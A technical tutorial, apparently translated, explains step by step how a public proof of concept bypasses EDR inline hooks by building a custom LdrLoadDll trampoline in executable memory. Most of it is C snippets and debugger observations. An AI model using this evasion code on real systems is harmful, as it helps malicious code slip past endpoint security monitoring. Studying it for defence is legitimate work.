0x00 Preface
This paper introduces an interesting unhook technique, which comes from a GitHub POC sent by a small partner: https://github.com/trickster0/LdrLoadDll-Unhooking , this article will interpret this method step by step with reference to this POC.
At present, most of the classic methods are direct system call (Syscall) or finding the address of ntdll and remapping it in the disk text section to get a clean dll and find the function address.
The following introduction is equivalent to assembling a "jump function" by ourselves, which cleverly avoids some hooks and has certain reference and learning value.
0x01 process analysis
- Firstly, the structure of Nt function parameters is constructed
UNICODE_STRING ldrldll; OBJECT_ATTRIBUTES objectAttributes = { 0 }; wchar_t ldrstring[] = L"Wininet.dll"; RtlInitUnicodeString(&ldrldll, ldrstring); InitializeObjectAttributes(&objectAttributes, &ldrldll, OBJ_CASE_INSENSITIVE, NULL, NULL);
- Then define and initialize the header, address and tail of the instruction to be patched
unsigned char jumpPrelude[] = { 0x49, 0xBB }; unsigned char jumpAddress[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD, 0xBE, 0xEF }; unsigned char jumpEpilogue[] = { 0x41, 0xFF, 0xE3, 0xC3 };
- Create a new memory page with the property of readable and writable (opsec). This memory page is to save the address of LdrLoadDll to be used finally.
LPVOID trampoline = VirtualAlloc(NULL,19, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
- Get the original address of the export function LdrLoadDll in ntdll
LPVOID origLdrLoadDll = GetProcAddress(GetModuleHandleA("ntdll.dll"),"LdrLoadDll");
Many EDR s go to the Hook API by modifying the functions in the Windows DLL and jumping to their own detection function by inserting JMP instructions at the beginning of the function; If the API is Hook, the first five bytes will change to JMP xxxh and jump to the address of the detection function. The picture below illustrates this process.
The original function address obtained above can be viewed in the memory window
For easier viewing, use Windbg to disassemble LdrLoadDll to view its structure and record the first five bytes, that is \ x48\x89\x5c\x24\x10,
5. Put the original first five bytes into the address we started to apply for.
CCopyMemory(trampoline,(PVOID)"\x48\x89\x5c\x24\x10", 5);
This step is more ingenious. Even if EDR modifies the first five bytes as jump instructions, we don't care, because we don't use the original first five bytes, but put them in ourselves.
- Obtain the address after the first 5 bytes of the original address and put it into the jumpAddress applied in step 2
LPVOID jmpAddr = (void*)((char*)origLdrLoadDll + 0x5); *(void**)(jumpAddress) = jmpAddr; //Address of jmpaddr
Check the memory of jumpAddress and find that it is the address 7ff8d8ae6a15
- Then there are three copy operations
CCopyMemory((PBYTE)trampoline+5, jumpPrelude, 2); CCopyMemory((PBYTE)trampoline + 5 + 2, jumpAddress, sizeof(jumpAddress)); CCopyMemory((PBYTE)trampoline + 5 + 2 + 8, jumpEpilogue, 4);
First, copy the jumpPrelude to the first 5 bytes, then copy the address of the original function after 5 bytes, and finally copy the tail of the jumpEpilogue instruction
In step 5, trampoline writes the first five bytes in advance. The memory looks like this
After three copies of the content, the final instruction is:
- Modify the memory space of the "custom jump function" to be used finally to be executable
VirtualProtect(trampoline,30,PAGE_EXECUTE_READ,&oldProtect);
- Finally, assign the address to the pre-defined function structure, and call
LdrLoadrDll = (pNewLdrLoadDll)trampoline; HANDLE wininetmodule = NULL; LdrLoadrDll(NULL, 0 , &ldrldll, &wininetmodule);
Open the assembly window of VS. when the function is called, you can enter it to see more clearly the operations done in the final trampoline, with the blue box on the right
0x02 summary
In this way, a complete user-defined jump function is constructed. The actual function of this function is to jump back to the address after the first five bytes of the original LdrLoadDll, which is equivalent to avoiding the Hook method of modifying the JMP of the first five bytes to detect the function.
Our customized jump function is not affected by it, and the call is also sent from NTDLL. Use a diagram to illustrate the process:
Finally, all masters are welcome to pay attention to the hackers of wechat official account to think and learn together